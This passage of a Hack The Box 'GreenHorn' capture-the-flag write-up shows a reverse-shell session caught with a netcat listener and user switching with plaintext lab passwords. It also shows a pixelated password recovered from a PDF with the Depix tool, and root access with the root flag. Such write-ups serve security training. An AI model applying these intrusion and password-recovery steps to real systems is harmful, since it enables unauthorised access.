[10.10.14.24] from (UNKNOWN) [10.129.211.233] 47576\nLinux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU\u002FLinux\n 14:27:29 up 57 min, 0 users, load average: 0.01, 0.01, 0.00\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\nsh: 0: can't access tty; job control turned off\n$ su junior\nPassword: iloveyou1\ncd \u002Fhome\u002Fjunior\nls\nuser.txt\nUsing OpenVAS.pdf\npython3 -m http.server\n10.10.14.24 - - [21\u002FJul\u002F2024 14:29:12] code 404, message File not found\n10.10.14.24 - - [21\u002FJul\u002F2024 14:29:12] \"GET \u002FOpenVAS.pdf HTTP\u002F1.1\" 404 -\n10.10.14.24 - - [21\u002FJul\u002F2024 14:30:00] \"GET \u002FUsing%20OpenVAS.pdf HTTP\u002F1.1\" 200 -\n",[25,6722,6723,6727,6733,6741,6761,6771,6795,6813,6851,6863,6867,6871,6875,6879,6883,6887,6892,6897,6902],{"__ignoreMap":23},[28,6724,6725],{"class":30,"line":31},[28,6726,162],{"class":34},[28,6728,6729,6731],{"class":30,"line":38},[28,6730,41],{"class":34},[28,6732,6083],{"class":169},[28,6734,6735,6737,6739],{"class":30,"line":48},[28,6736,6088],{"class":34},[28,6738,481],{"class":54},[28,6740,6093],{"class":169},[28,6742,6743,6745,6747,6749,6751,6753,6755,6757,6759],{"class":30,"line":58},[28,6744,6142],{"class":34},[28,6746,1054],{"class":54},[28,6748,6147],{"class":169},[28,6750,6150],{"class":34},[28,6752,4273],{"class":169},[28,6754,388],{"class":97},[28,6756,6157],{"class":169},[28,6758,5043],{"class":97},[28,6760,6578],{"class":169},[28,6762,6763,6765,6767,6769],{"class":30,"line":67},[28,6764,906],{"class":34},[28,6766,6169],{"class":54},[28,6768,6172],{"class":54},[28,6770,6175],{"class":44},[28,6772,6773,6775,6777,6779,6781,6783,6785,6787,6789,6791,6793],{"class":30,"line":74},[28,6774,6593],{"class":34},[28,6776,2443],{"class":54},[28,6778,6598],{"class":201},[28,6780,6188],{"class":54},[28,6782,6191],{"class":201},[28,6784,6194],{"class":54},[28,6786,6197],{"class":54},[28,6788,6200],{"class":54},[28,6790,6611],{"class":54},[28,6792,6611],{"class":54},[28,6794,6208],{"class":201},[28,6796,6797,6799,6801,6803,6805,6807,6809,6811],{"class":30,"line":83},[28,6798,6213],{"class":34},[28,6800,6216],{"class":54},[28,6802,6219],{"class":54},[28,6804,6222],{"class":54},[28,6806,6225],{"class":54},[28,6808,6228],{"class":54},[28,6810,6231],{"class":54},[28,6812,6234],{"class":54},[28,6814,6815,6817,6819,6821,6823,6825,6827,6829,6831,6833,6835,6837,6839,6841,6843,6845,6847,6849],{"class":30,"line":88},[28,6816,6239],{"class":1291},[28,6818,1295],{"class":924},[28,6820,6244],{"class":54},[28,6822,4332],{"class":909},[28,6824,6249],{"class":34},[28,6826,2198],{"class":909},[28,6828,6254],{"class":1291},[28,6830,1295],{"class":924},[28,6832,6244],{"class":54},[28,6834,4332],{"class":909},[28,6836,6249],{"class":34},[28,6838,2198],{"class":909},[28,6840,6267],{"class":1291},[28,6842,1295],{"class":924},[28,6844,6244],{"class":54},[28,6846,4332],{"class":909},[28,6848,6249],{"class":34},[28,6850,428],{"class":909},[28,6852,6853,6855,6857,6859,6861],{"class":30,"line":94},[28,6854,6282],{"class":34},[28,6856,6285],{"class":54},[28,6858,2882],{"class":54},[28,6860,2543],{"class":909},[28,6862,6292],{"class":54},[28,6864,6865],{"class":30,"line":113},[28,6866,6487],{"class":54},[28,6868,6869],{"class":30,"line":122},[28,6870,6492],{"class":54},[28,6872,6873],{"class":30,"line":131},[28,6874,6519],{"class":54},[28,6876,6877],{"class":30,"line":139},[28,6878,6506],{"class":54},[28,6880,6881],{"class":30,"line":346},[28,6882,6704],{"class":54},[28,6884,6885],{"class":30,"line":361},[28,6886,6709],{"class":54},[28,6888,6889],{"class":30,"line":376},[28,6890,6891],{"class":54},"python3 -m http.server\n",[28,6893,6894],{"class":30,"line":400},[28,6895,6896],{"class":54},"10.10.14.24 - - [21\u002FJul\u002F2024 14:29:12] code 404, message File not found\n",[28,6898,6899],{"class":30,"line":431},[28,6900,6901],{"class":54},"10.10.14.24 - - [21\u002FJul\u002F2024 14:29:12] \"GET \u002FOpenVAS.pdf HTTP\u002F1.1\" 404 -\n",[28,6903,6904],{"class":30,"line":448},[28,6905,6906],{"class":54},"10.10.14.24 - - [21\u002FJul\u002F2024 14:30:00] \"GET \u002FUsing%20OpenVAS.pdf HTTP\u002F1.1\" 200 -\n",[11,6908,6909],{},"Attack VM:",[15,6911,6912],{},[18,6913,6915],{"className":20,"code":6914,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~]\n└──╼ [★]$ wget \"greenhorn.htb:8000\u002FUsing OpenVAS.pdf\"\n--2024-07-21 09:30:01-- http:\u002F\u002Fgreenhorn.htb:8000\u002FUsing%20OpenVAS.pdf\nResolving greenhorn.htb (greenhorn.htb)... 10.129.211.233\nConnecting to greenhorn.htb (greenhorn.htb)|10.129.211.233|:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 61367 (60K) [application\u002Fpdf]\nSaving to: ‘Using OpenVAS.pdf’\n\nUsing OpenVAS.pdf 100%[===================>] 59.93K --.-KB\u002Fs in 0.02s \n\n2024-07-21 09:30:01 (3.33 MB\u002Fs) - ‘Using OpenVAS.pdf’ saved [61367\u002F61367]\n",[25,6916,6917,6921,6936,6947,6956,6980,7001,7019,7033,7037,7069,7073],{"__ignoreMap":23},[28,6918,6919],{"class":30,"line":31},[28,6920,162],{"class":34},[28,6922,6923,6925,6928,6930,6933],{"class":30,"line":38},[28,6924,41],{"class":34},[28,6926,6927],{"class":169}," [★]$ wget ",[28,6929,1529],{"class":909},[28,6931,6932],{"class":54},"greenhorn.htb:8000\u002FUsing OpenVAS.pdf",[28,6934,6935],{"class":909},"\"\n",[28,6937,6938,6941,6944],{"class":30,"line":48},[28,6939,6940],{"class":34},"--2024-07-21",[28,6942,6943],{"class":54}," 09:30:01--",[28,6945,6946],{"class":54}," http:\u002F\u002Fgreenhorn.htb:8000\u002FUsing%20OpenVAS.pdf\n",[28,6948,6949,6951,6953],{"class":30,"line":58},[28,6950,3539],{"class":34},[28,6952,382],{"class":54},[28,6954,6955],{"class":169}," (greenhorn.htb)... 10.129.211.233\n",[28,6957,6958,6961,6963,6965,6968,6970,6972,6974,6977],{"class":30,"line":67},[28,6959,6960],{"class":34},"Connecting",[28,6962,1054],{"class":54},[28,6964,382],{"class":54},[28,6966,6967],{"class":169}," (greenhorn.htb)",[28,6969,925],{"class":924},[28,6971,6157],{"class":34},[28,6973,925],{"class":924},[28,6975,6976],{"class":34},":8000...",[28,6978,6979],{"class":54}," connected.\n",[28,6981,6982,6985,6988,6991,6994,6997,6999],{"class":30,"line":74},[28,6983,6984],{"class":34},"HTTP",[28,6986,6987],{"class":54}," request",[28,6989,6990],{"class":54}," sent,",[28,6992,6993],{"class":54}," awaiting",[28,6995,6996],{"class":54}," response...",[28,6998,1338],{"class":201},[28,7000,1341],{"class":54},[28,7002,7003,7006,7009,7012,7014,7017],{"class":30,"line":83},[28,7004,7005],{"class":34},"Length:",[28,7007,7008],{"class":201}," 61367",[28,7010,7011],{"class":169}," (60K) ",[28,7013,388],{"class":97},[28,7015,7016],{"class":169},"application\u002Fpdf",[28,7018,397],{"class":97},[28,7020,7021,7024,7027,7030],{"class":30,"line":88},[28,7022,7023],{"class":34},"Saving",[28,7025,7026],{"class":54}," to:",[28,7028,7029],{"class":54}," ‘Using",[28,7031,7032],{"class":54}," OpenVAS.pdf’\n",[28,7034,7035],{"class":30,"line":94},[28,7036,71],{"emptyLinePlaceholder":70},[28,7038,7039,7042,7045,7048,7050,7052,7054,7057,7060,7063,7066],{"class":30,"line":113},[28,7040,7041],{"class":34},"Using",[28,7043,7044],{"class":54}," OpenVAS.pdf",[28,7046,7047],{"class":54}," 100%[==================",[28,7049,1295],{"class":169},[28,7051,1603],{"class":924},[28,7053,5043],{"class":54},[28,7055,7056],{"class":54}," 59.93K",[28,7058,7059],{"class":201}," --.-KB\u002Fs",[28,7061,7062],{"class":54}," in",[28,7064,7065],{"class":54}," 0.02s",[28,7067,7068],{"class":169}," \n",[28,7070,7071],{"class":30,"line":122},[28,7072,71],{"emptyLinePlaceholder":70},[28,7074,7075,7078,7081,7084,7087,7090,7092,7095],{"class":30,"line":131},[28,7076,7077],{"class":34},"2024-07-21",[28,7079,7080],{"class":54}," 09:30:01",[28,7082,7083],{"class":169}," (3.33 ",[28,7085,7086],{"class":54},"MB\u002Fs",[28,7088,7089],{"class":169},") - ‘Using OpenVAS.pdf’ saved ",[28,7091,388],{"class":97},[28,7093,7094],{"class":169},"61367\u002F61367",[28,7096,397],{"class":97},[11,7098,7099],{},"Here we see the PDF file. The password is blurred.",[11,7101,7102],{},[2485,7103],{"alt":23,"src":7104},"\u002Fimages\u002Fposts\u002Fhack-the-box-greenhorn\u002Fattachments\u002Fimage-20240724215715872.webp",[11,7106,7107],{},"I extracted the image from the PDF using the PDF24 tool.",[11,7109,7110],{},[2485,7111],{"alt":23,"src":7112},"\u002Fimages\u002Fposts\u002Fhack-the-box-greenhorn\u002Fattachments\u002Fimage-20240724215836564.webp",[11,7114,7115,7116],{},"Source: ",[7117,7118,7119],"a",{"href":7119,"rel":7120},"https:\u002F\u002Ftools.pdf24.org\u002Fen\u002Fextract-images",[7121],"nofollow",[11,7123,7124],{},"We get the following picture.",[11,7126,7127],{},[2485,7128],{"alt":23,"src":7129},"\u002Fimages\u002Fposts\u002Fhack-the-box-greenhorn\u002Fattachments\u002Fimage-20240724215953880.webp",[11,7131,7132],{},"We can use the “Depix” tool to recover the image.",[11,7134,7115,7135],{},[7117,7136,7137],{"href":7137,"rel":7138},"https:\u002F\u002Fgithub.com\u002Fspipm\u002FDepix",[7121],[11,7140,7141],{},"Then I cloned the “Depix” repository with the help of “git clone”.",[15,7143,7144],{},[18,7145,7147],{"className":20,"code":7146,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~\u002FDesktop]\n└──╼ [★]$ git clone https:\u002F\u002Fgithub.com\u002Fspipm\u002FDepix.git\nCloning into 'Depix'...\nremote: Enumerating objects: 250, done.\nremote: Counting objects: 100% (93\u002F93), done.\nremote: Compressing objects: 100% (35\u002F35), done.\nremote: Total 250 (delta 63), reused 69 (delta 56), pack-reused 157\nReceiving objects: 100% (250\u002F250), 851.02 KiB | 60.79 MiB\u002Fs, done.\nResolving deltas: 100% (118\u002F118), done.\n",[25,7148,7149,7154,7161,7176,7189,7202,7215,7240,7260],{"__ignoreMap":23},[28,7150,7151],{"class":30,"line":31},[28,7152,7153],{"class":34},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~\u002FDesktop]\n",[28,7155,7156,7158],{"class":30,"line":38},[28,7157,41],{"class":34},[28,7159,7160],{"class":169}," [★]$ git clone https:\u002F\u002Fgithub.com\u002Fspipm\u002FDepix.git\n",[28,7162,7163,7165,7167,7169,7172,7174],{"class":30,"line":48},[28,7164,3425],{"class":34},[28,7166,3428],{"class":54},[28,7168,3431],{"class":909},[28,7170,7171],{"class":54},"Depix",[28,7173,2543],{"class":909},[28,7175,3438],{"class":54},[28,7177,7178,7180,7182,7184,7187],{"class":30,"line":58},[28,7179,3443],{"class":34},[28,7181,3446],{"class":54},[28,7183,3449],{"class":54},[28,7185,7186],{"class":54}," 250,",[28,7188,3455],{"class":54},[28,7190,7191,7193,7195,7197,7199],{"class":30,"line":67},[28,7192,3443],{"class":34},[28,7194,3462],{"class":54},[28,7196,3449],{"class":54},[28,7198,3467],{"class":54},[28,7200,7201],{"class":169}," (93\u002F93), done.\n",[28,7203,7204,7206,7208,7210,7212],{"class":30,"line":74},[28,7205,3443],{"class":34},[28,7207,3477],{"class":54},[28,7209,3449],{"class":54},[28,7211,3467],{"class":54},[28,7213,7214],{"class":169}," (35\u002F35), done.\n",[28,7216,7217,7219,7221,7224,7226,7229,7232,7234,7237],{"class":30,"line":83},[28,7218,3443],{"class":34},[28,7220,3491],{"class":54},[28,7222,7223],{"class":201}," 250",[28,7225,3497],{"class":169},[28,7227,7228],{"class":201},"63",[28,7230,7231],{"class":169},"), reused 69 (",[28,7233,3506],{"class":34},[28,7235,7236],{"class":201}," 56",[28,7238,7239],{"class":169},"), pack-reused 157\n",[28,7241,7242,7244,7246,7248,7251,7253,7256,7258],{"class":30,"line":88},[28,7243,3517],{"class":34},[28,7245,3449],{"class":54},[28,7247,3467],{"class":54},[28,7249,7250],{"class":169}," (250\u002F250), 851.02 KiB ",[28,7252,925],{"class":924},[28,7254,7255],{"class":34}," 60.79",[28,7257,3532],{"class":54},[28,7259,3455],{"class":54},[28,7261,7262,7264,7266,7268],{"class":30,"line":94},[28,7263,3539],{"class":34},[28,7265,3542],{"class":54},[28,7267,3467],{"class":54},[28,7269,7270],{"class":169}," (118\u002F118), done.\n",[11,7272,7273],{},"Now I run the Depix tool with the appropriate parameters.",[15,7275,7276],{},[18,7277,7279],{"className":20,"code":7278,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~\u002FDesktop]\n└──╼ [★]$ cd Depix\u002F\n┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~\u002FDesktop\u002FDepix]\n└──╼ [★]$ python3 depix.py \\\n -p \u002Fhome\u002Fnobrac\u002FDesktop\u002FDepix\u002Fextracted_img.png \\\n -s images\u002Fsearchimages\u002Fdebruinseq_notepad_Windows10_closeAndSpaced.png\n2024-07-21 10:42:25,105 - Loading pixelated image from \u002Fhome\u002Fnobrac\u002FDesktop\u002FDepix\u002Fextracted_img.png\n2024-07-21 10:42:25,114 - Loading search image from images\u002Fsearchimages\u002Fdebruinseq_notepad_Windows10_closeAndSpaced.png\n2024-07-21 10:42:25,661 - Finding color rectangles from pixelated space\n2024-07-21 10:42:25,662 - Found 252 same color rectangles\n2024-07-21 10:42:25,662 - 190 rectangles left after moot filter\n2024-07-21 10:42:25,662 - Found 1 different rectangle sizes\n2024-07-21 10:42:25,662 - Finding matches in search image\n2024-07-21 10:42:25,662 - Scanning 190 blocks with size (5, 5)\n2024-07-21 10:42:25,688 - Scanning in searchImage: 0\u002F1674\n2024-07-21 10:43:10,518 - Removing blocks with no matches\n2024-07-21 10:43:10,518 - Splitting single matches and multiple matches\n2024-07-21 10:43:10,522 - [16 straight matches | 174 multiple matches]\n2024-07-21 10:43:10,522 - Trying geometrical matches on single-match squares\n2024-07-21 10:43:10,825 - [29 straight matches | 161 multiple matches]\n2024-07-21 10:43:10,825 - Trying another pass on geometrical matches\n2024-07-21 10:43:11,085 - [41 straight matches | 149 multiple matches]\n2024-07-21 10:43:11,085 - Writing single match results to output\n2024-07-21 10:43:11,086 - Writing average results for multiple matches to output\n2024-07-21 10:43:14,384 - Saving output image to: output.png\n",[25,7280,7281,7285,7292,7297,7307,7318,7326,7350,7370,7395,7418,7443,7464,7484,7513,7532,7554,7578,7606,7630,7655,7677,7702,7725,7751],{"__ignoreMap":23},[28,7282,7283],{"class":30,"line":31},[28,7284,7153],{"class":34},[28,7286,7287,7289],{"class":30,"line":38},[28,7288,41],{"class":34},[28,7290,7291],{"class":169}," [★]$ cd Depix\u002F\n",[28,7293,7294],{"class":30,"line":48},[28,7295,7296],{"class":34},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~\u002FDesktop\u002FDepix]\n",[28,7298,7299,7301,7304],{"class":30,"line":58},[28,7300,41],{"class":34},[28,7302,7303],{"class":169}," [★]$ python3 depix.py ",[28,7305,7306],{"class":201},"\\\n",[28,7308,7309,7312,7315],{"class":30,"line":67},[28,7310,7311],{"class":34}," -p",[28,7313,7314],{"class":54}," \u002Fhome\u002Fnobrac\u002FDesktop\u002FDepix\u002Fextracted_img.png",[28,7316,7317],{"class":201}," \\\n",[28,7319,7320,7323],{"class":30,"line":74},[28,7321,7322],{"class":201}," -s",[28,7324,7325],{"class":54}," images\u002Fsearchimages\u002Fdebruinseq_notepad_Windows10_closeAndSpaced.png\n",[28,7327,7328,7330,7333,7335,7338,7341,7344,7347],{"class":30,"line":83},[28,7329,7077],{"class":34},[28,7331,7332],{"class":54}," 10:42:25,105",[28,7334,1063],{"class":54},[28,7336,7337],{"class":54}," Loading",[28,7339,7340],{"class":54}," pixelated",[28,7342,7343],{"class":54}," image",[28,7345,7346],{"class":54}," from",[28,7348,7349],{"class":54}," \u002Fhome\u002Fnobrac\u002FDesktop\u002FDepix\u002Fextracted_img.png\n",[28,7351,7352,7354,7357,7359,7361,7364,7366,7368],{"class":30,"line":88},[28,7353,7077],{"class":34},[28,7355,7356],{"class":54}," 10:42:25,114",[28,7358,1063],{"class":54},[28,7360,7337],{"class":54},[28,7362,7363],{"class":54}," search",[28,7365,7343],{"class":54},[28,7367,7346],{"class":54},[28,7369,7325],{"class":54},[28,7371,7372,7374,7377,7379,7382,7385,7388,7390,7392],{"class":30,"line":94},[28,7373,7077],{"class":34},[28,7375,7376],{"class":54}," 10:42:25,661",[28,7378,1063],{"class":54},[28,7380,7381],{"class":54}," Finding",[28,7383,7384],{"class":54}," color",[28,7386,7387],{"class":54}," rectangles",[28,7389,7346],{"class":54},[28,7391,7340],{"class":54},[28,7393,7394],{"class":54}," space\n",[28,7396,7397,7399,7402,7404,7407,7410,7413,7415],{"class":30,"line":113},[28,7398,7077],{"class":34},[28,7400,7401],{"class":54}," 10:42:25,662",[28,7403,1063],{"class":54},[28,7405,7406],{"class":54}," Found",[28,7408,7409],{"class":201}," 252",[28,7411,7412],{"class":54}," same",[28,7414,7384],{"class":54},[28,7416,7417],{"class":54}," rectangles\n",[28,7419,7420,7422,7424,7426,7429,7431,7434,7437,7440],{"class":30,"line":122},[28,7421,7077],{"class":34},[28,7423,7401],{"class":54},[28,7425,1063],{"class":54},[28,7427,7428],{"class":201}," 190",[28,7430,7387],{"class":54},[28,7432,7433],{"class":54}," left",[28,7435,7436],{"class":54}," after",[28,7438,7439],{"class":54}," moot",[28,7441,7442],{"class":54}," filter\n",[28,7444,7445,7447,7449,7451,7453,7455,7458,7461],{"class":30,"line":131},[28,7446,7077],{"class":34},[28,7448,7401],{"class":54},[28,7450,1063],{"class":54},[28,7452,7406],{"class":54},[28,7454,234],{"class":201},[28,7456,7457],{"class":54}," different",[28,7459,7460],{"class":54}," rectangle",[28,7462,7463],{"class":54}," sizes\n",[28,7465,7466,7468,7470,7472,7474,7477,7479,7481],{"class":30,"line":139},[28,7467,7077],{"class":34},[28,7469,7401],{"class":54},[28,7471,1063],{"class":54},[28,7473,7381],{"class":54},[28,7475,7476],{"class":54}," matches",[28,7478,4081],{"class":54},[28,7480,7363],{"class":54},[28,7482,7483],{"class":54}," image\n",[28,7485,7486,7488,7490,7492,7495,7497,7500,7502,7505,7508,7511],{"class":30,"line":346},[28,7487,7077],{"class":34},[28,7489,7401],{"class":54},[28,7491,1063],{"class":54},[28,7493,7494],{"class":54}," Scanning",[28,7496,7428],{"class":201},[28,7498,7499],{"class":54}," blocks",[28,7501,1097],{"class":54},[28,7503,7504],{"class":54}," size",[28,7506,7507],{"class":169}," (5, ",[28,7509,7510],{"class":201},"5",[28,7512,428],{"class":169},[28,7514,7515,7517,7520,7522,7524,7526,7529],{"class":30,"line":361},[28,7516,7077],{"class":34},[28,7518,7519],{"class":54}," 10:42:25,688",[28,7521,1063],{"class":54},[28,7523,7494],{"class":54},[28,7525,4081],{"class":54},[28,7527,7528],{"class":54}," searchImage:",[28,7530,7531],{"class":54}," 0\u002F1674\n",[28,7533,7534,7536,7539,7541,7544,7546,7548,7551],{"class":30,"line":376},[28,7535,7077],{"class":34},[28,7537,7538],{"class":54}," 10:43:10,518",[28,7540,1063],{"class":54},[28,7542,7543],{"class":54}," Removing",[28,7545,7499],{"class":54},[28,7547,1097],{"class":54},[28,7549,7550],{"class":54}," no",[28,7552,7553],{"class":54}," matches\n",[28,7555,7556,7558,7560,7562,7565,7568,7570,7573,7576],{"class":30,"line":400},[28,7557,7077],{"class":34},[28,7559,7538],{"class":54},[28,7561,1063],{"class":54},[28,7563,7564],{"class":54}," Splitting",[28,7566,7567],{"class":54}," single",[28,7569,7476],{"class":54},[28,7571,7572],{"class":54}," and",[28,7574,7575],{"class":54}," multiple",[28,7577,7553],{"class":54},[28,7579,7580,7582,7585,7587,7590,7593,7595,7598,7601,7603],{"class":30,"line":431},[28,7581,7077],{"class":34},[28,7583,7584],{"class":54}," 10:43:10,522",[28,7586,1063],{"class":54},[28,7588,7589],{"class":169}," [16 ",[28,7591,7592],{"class":54},"straight",[28,7594,7476],{"class":54},[28,7596,7597],{"class":924}," |",[28,7599,7600],{"class":34}," 174",[28,7602,7575],{"class":54},[28,7604,7605],{"class":54}," matches]\n",[28,7607,7608,7610,7612,7614,7617,7620,7622,7624,7627],{"class":30,"line":448},[28,7609,7077],{"class":34},[28,7611,7584],{"class":54},[28,7613,1063],{"class":54},[28,7615,7616],{"class":54}," Trying",[28,7618,7619],{"class":54}," geometrical",[28,7621,7476],{"class":54},[28,7623,481],{"class":54},[28,7625,7626],{"class":54}," single-match",[28,7628,7629],{"class":54}," squares\n",[28,7631,7632,7634,7637,7639,7642,7644,7646,7648,7651,7653],{"class":30,"line":466},[28,7633,7077],{"class":34},[28,7635,7636],{"class":54}," 10:43:10,825",[28,7638,1063],{"class":54},[28,7640,7641],{"class":169}," [29 ",[28,7643,7592],{"class":54},[28,7645,7476],{"class":54},[28,7647,7597],{"class":924},[28,7649,7650],{"class":34}," 161",[28,7652,7575],{"class":54},[28,7654,7605],{"class":54},[28,7656,7657,7659,7661,7663,7665,7668,7671,7673,7675],{"class":30,"line":487},[28,7658,7077],{"class":34},[28,7660,7636],{"class":54},[28,7662,1063],{"class":54},[28,7664,7616],{"class":54},[28,7666,7667],{"class":54}," another",[28,7669,7670],{"class":54}," pass",[28,7672,481],{"class":54},[28,7674,7619],{"class":54},[28,7676,7553],{"class":54},[28,7678,7679,7681,7684,7686,7689,7691,7693,7695,7698,7700],{"class":30,"line":503},[28,7680,7077],{"class":34},[28,7682,7683],{"class":54}," 10:43:11,085",[28,7685,1063],{"class":54},[28,7687,7688],{"class":169}," [41 ",[28,7690,7592],{"class":54},[28,7692,7476],{"class":54},[28,7694,7597],{"class":924},[28,7696,7697],{"class":34}," 149",[28,7699,7575],{"class":54},[28,7701,7605],{"class":54},[28,7703,7704,7706,7708,7710,7713,7715,7718,7720,7722],{"class":30,"line":519},[28,7705,7077],{"class":34},[28,7707,7683],{"class":54},[28,7709,1063],{"class":54},[28,7711,7712],{"class":54}," Writing",[28,7714,7567],{"class":54},[28,7716,7717],{"class":54}," match",[28,7719,2411],{"class":54},[28,7721,1054],{"class":54},[28,7723,7724],{"class":54}," output\n",[28,7726,7727,7729,7732,7734,7736,7739,7741,7743,7745,7747,7749],{"class":30,"line":548},[28,7728,7077],{"class":34},[28,7730,7731],{"class":54}," 10:43:11,086",[28,7733,1063],{"class":54},[28,7735,7712],{"class":54},[28,7737,7738],{"class":54}," average",[28,7740,2411],{"class":54},[28,7742,208],{"class":54},[28,7744,7575],{"class":54},[28,7746,7476],{"class":54},[28,7748,1054],{"class":54},[28,7750,7724],{"class":54},[28,7752,7753,7755,7758,7760,7763,7766,7768,7770],{"class":30,"line":563},[28,7754,7077],{"class":34},[28,7756,7757],{"class":54}," 10:43:14,384",[28,7759,1063],{"class":54},[28,7761,7762],{"class":54}," Saving",[28,7764,7765],{"class":54}," output",[28,7767,7343],{"class":54},[28,7769,7026],{"class":54},[28,7771,7772],{"class":54}," output.png\n",[11,7774,7775],{},"The output is definitely usable. It may not look perfect, but it is readable. The password is: “sidefromsidetheothersidesidefromsidetheotherside”.",[11,7777,7778],{},[2485,7779],{"alt":23,"src":7780},"\u002Fimages\u002Fposts\u002Fhack-the-box-greenhorn\u002Fattachments\u002Fimage-20240724220416930.webp",[11,7782,7783],{},"Using this password, we can switch to the “root” user and display the corresponding root.txt.",[15,7785,7786],{},[18,7787,7789],{"className":20,"code":7788,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.24]─[nobrac@htb-givzdwcgxh]─[~]\n└──╼ [★]$ nc -lvnp 9001\nlistening on [any] 9001 ...\nconnect to [10.10.14.24] from (UNKNOWN) [10.129.212.33] 34212\nLinux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU\u002FLinux\n 15:32:18 up 3 min, 0 users, load average: 0.04, 0.10, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\nsh: 0: can't access tty; job control turned off\n$ su root\nPassword: sidefromsidetheothersidesidefromsidetheotherside\nwhoami\nroot\ncd \u002Froot\u002F \nls\ncleanup.sh\nrestart.sh\nroot.txt\ncat root.txt\ne560af69dd90e4735832baba36dbb8d7\n",[25,7790,7791,7795,7801,7809,7831,7841,7869,7887,7925,7937,7942,7947,7951,7956,7961,7965,7970,7975,7980,7985],{"__ignoreMap":23},[28,7792,7793],{"class":30,"line":31},[28,7794,162],{"class":34},[28,7796,7797,7799],{"class":30,"line":38},[28,7798,41],{"class":34},[28,7800,6083],{"class":169},[28,7802,7803,7805,7807],{"class":30,"line":48},[28,7804,6088],{"class":34},[28,7806,481],{"class":54},[28,7808,6093],{"class":169},[28,7810,7811,7813,7815,7817,7819,7821,7823,7826,7828],{"class":30,"line":58},[28,7812,6142],{"class":34},[28,7814,1054],{"class":54},[28,7816,6147],{"class":169},[28,7818,6150],{"class":34},[28,7820,4273],{"class":169},[28,7822,388],{"class":97},[28,7824,7825],{"class":169},"10.129.212.33",[28,7827,5043],{"class":97},[28,7829,7830],{"class":169}," 34212\n",[28,7832,7833,7835,7837,7839],{"class":30,"line":67},[28,7834,906],{"class":34},[28,7836,6169],{"class":54},[28,7838,6172],{"class":54},[28,7840,6175],{"class":44},[28,7842,7843,7846,7848,7850,7852,7854,7856,7858,7860,7863,7866],{"class":30,"line":74},[28,7844,7845],{"class":34}," 15:32:18",[28,7847,2443],{"class":54},[28,7849,327],{"class":201},[28,7851,6188],{"class":54},[28,7853,6191],{"class":201},[28,7855,6194],{"class":54},[28,7857,6197],{"class":54},[28,7859,6200],{"class":54},[28,7861,7862],{"class":54}," 0.04,",[28,7864,7865],{"class":54}," 0.10,",[28,7867,7868],{"class":201}," 0.05\n",[28,7870,7871,7873,7875,7877,7879,7881,7883,7885],{"class":30,"line":83},[28,7872,6213],{"class":34},[28,7874,6216],{"class":54},[28,7876,6219],{"class":54},[28,7878,6222],{"class":54},[28,7880,6225],{"class":54},[28,7882,6228],{"class":54},[28,7884,6231],{"class":54},[28,7886,6234],{"class":54},[28,7888,7889,7891,7893,7895,7897,7899,7901,7903,7905,7907,7909,7911,7913,7915,7917,7919,7921,7923],{"class":30,"line":88},[28,7890,6239],{"class":1291},[28,7892,1295],{"class":924},[28,7894,6244],{"class":54},[28,7896,4332],{"class":909},[28,7898,6249],{"class":34},[28,7900,2198],{"class":909},[28,7902,6254],{"class":1291},[28,7904,1295],{"class":924},[28,7906,6244],{"class":54},[28,7908,4332],{"class":909},[28,7910,6249],{"class":34},[28,7912,2198],{"class":909},[28,7914,6267],{"class":1291},[28,7916,1295],{"class":924},[28,7918,6244],{"class":54},[28,7920,4332],{"class":909},[28,7922,6249],{"class":34},[28,7924,428],{"class":909},[28,7926,7927,7929,7931,7933,7935],{"class":30,"line":94},[28,7928,6282],{"class":34},[28,7930,6285],{"class":54},[28,7932,2882],{"class":54},[28,7934,2543],{"class":909},[28,7936,6292],{"class":54},[28,7938,7939],{"class":30,"line":113},[28,7940,7941],{"class":54},"$ su root\n",[28,7943,7944],{"class":30,"line":122},[28,7945,7946],{"class":54},"Password: sidefromsidetheothersidesidefromsidetheotherside\n",[28,7948,7949],{"class":30,"line":131},[28,7950,6497],{"class":54},[28,7952,7953],{"class":30,"line":139},[28,7954,7955],{"class":54},"root\n",[28,7957,7958],{"class":30,"line":346},[28,7959,7960],{"class":54},"cd \u002Froot\u002F \n",[28,7962,7963],{"class":30,"line":361},[28,7964,6506],{"class":54},[28,7966,7967],{"class":30,"line":376},[28,7968,7969],{"class":54},"cleanup.sh\n",[28,7971,7972],{"class":30,"line":400},[28,7973,7974],{"class":54},"restart.sh\n",[28,7976,7977],{"class":30,"line":431},[28,7978,7979],{"class":54},"root.txt\n",[28,7981,7982],{"class":30,"line":448},[28,7983,7984],{"class":54},"cat root.txt\n",[28,7986,7987],{"class":30,"line":466},[28,7988,7989],{"class":54},"e560af69dd90e4735832baba36dbb8d7\n",[11,7991,7992],{},"That’s it for the room.",[7994,7995,7996],"style",{},"html pre.shiki code .s59W0, html code.shiki .s59W0{--shiki-default:#FABD2F}html pre.shiki code .s-UKz, html code.shiki .s-UKz{--shiki-default:#928374;--shiki-default-font-style:italic}html pre.shiki code .sTqo2, html code.shiki .sTqo2{--shiki-default:#B8BB26}html pre.shiki code .sG605, html code.shiki .sG605{--shiki-default:#FE8019}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: 